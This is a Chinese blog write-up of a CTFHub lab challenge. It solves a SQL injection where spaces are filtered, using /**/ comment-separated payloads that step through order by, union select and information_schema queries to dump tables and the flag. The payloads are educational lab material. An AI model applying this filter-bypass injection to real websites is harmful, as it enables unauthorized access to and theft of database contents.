当前位置: 首页 > news >正文

CTFHub | 过滤空格

 0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

过滤空格:

        (无)

网页显示内容

        

        

0x02 解题过程

        根据网页显示内容提示,这题关于过滤空格注入,此题和其他的注入手法一致,只不过需要在网页 URL 中对 payload 语句中的空格符号进行过滤,判断发现此题存在过滤空格注入,接着判断字段数量,查看数据库位置和版本。使用注入常用流程爆库、爆表、爆数据。最后获得此题 flag 。

        

根据题目描述输入1,并构造payload and 1 = 1,发现页面提示Hacker!!!

and 1 = 1

        

根据题目提示需要对空格进行过滤,也就是payload语句中的空格需要使用字符进行过滤

/**/and/**/1/**/=/**/1

        

继续构造payload语句,发现等于2时回显错误,说明此题存在过滤空格注入

/**/and/**/1/**/=/**/2

        

直接使用order by 判断字段数量,从/**/order/**/by/**/1开始

/**/order/**/by/**/1

        

判断字段2,使用/**/order/**/by/**/2

/**/order/**/by/**/2

        

判断字段3,使用order by 3,这里无回显,那么字段数量为2列

/**/order/**/by/**/3

        

知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

/**/union/**/select/**/1,2

        

判断数据可能不存在数据库中,在id=1中加入负号查看数据,其他符号也可以

id=-1/**/union/**/select/**/1,2

        

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

/**/union/**/select/**/1,version()

        

修改2为database(),查看数据库名,发现数据库版本为sqli

/**/union/**/select/**/1,database()

        

ⅩⅠ查看全部数据库名

/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

        

ⅩⅡ在全部数据库名中发现sqli,最后在sqli数据库中发现lrfbovgrtq和news两个表名

/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

        

ⅩⅢ先查看lrfbovgrtq表中的全部字段名,发现一个数据名为ntzwkdyzie

/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='lrfbovgrtq'

        

ⅩⅣ查看数据ntzwkdyzie中的内容,发现此题flag

/**/union/**/select/**/1,group_concat(ntzwkdyzie)/**/from/**/sqli.lrfbovgrtq

        

        

0x03 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

相关文章:

  • [附源码]计算机毕业设计基于SpringBoot的黄河文化科普网站
  • ConcurrentHashMap 1.7与1.8的区别
  • 中序遍历迭代算法(非递归算法)
  • 汇编语言与微机原理 期末半开卷复习整理(上)
  • Linux-性能分析常用工具
  • 某验三代滑块流程分析
  • JMeter入门教程(14)——场景设计
  • C#学习记录——在C#中操作注册表
  • 【cocos源码学习】模板示例工程的目录说明
  • UE5 中 LiveLink 的开发全流程教程
  • 力扣(LeetCode)134. 加油站(C++)
  • 学习 MySQL:什么是分页
  • DPD(Digital Pre-Distortion,数字预失真)
  • JAVA毕业设计课程与成绩管理计算机源码+lw文档+系统+调试部署+数据库
  • 分面中添加直线
  • [LeetCode 1774]最接近目标价格的甜点成本
  • 计算卫星高度角、方位角
  • Maven
  • HCIA笔记(2)
  • 【Java难点攻克】「海量数据计算系列」如何使用BitMap在海量数据中对相应的进行去重、查找和排序实战
  • flex布局详细
  • 【JavaScript速成之路】JavaScript数据类型
  • c++primer 第9章 顺序容器
  • 储能系统拆解及储能芯片(2) - 电动车储能
  • Linux系统下adb驱动安装步骤 及 问题总结
  • 深度学习与机器学习的区别
  • 如何对文档进行分类
  • 分子骨架跃迁工具DiffLinker评测
  • Docker容器——harbor私有仓库部署与管理
  • MYSQL必知必会笔记:第十一章使用数据处理函数
  • 2023年重庆高考588分能报什么大学 588分能上哪些院校
  • 2023年山东春季高考考试时间 什么时候考试
  • 单招被调剂可以不去吗 还能高考吗
  • 2023湖南双一流大学名单 湖南哪所学校好
  • 中专考大学要考什么科目 内容有哪些
  • 预计2023国家专项计划录取分数线是多少
  • 2021年浙江工商大学杭州商学院学费是多少 各专业收费标准
  • 神经科学专业课程有哪些
  • 2023软件工程专业课程有哪些 就业方向是什么
  • 现在进行时结构是什么 怎么构成的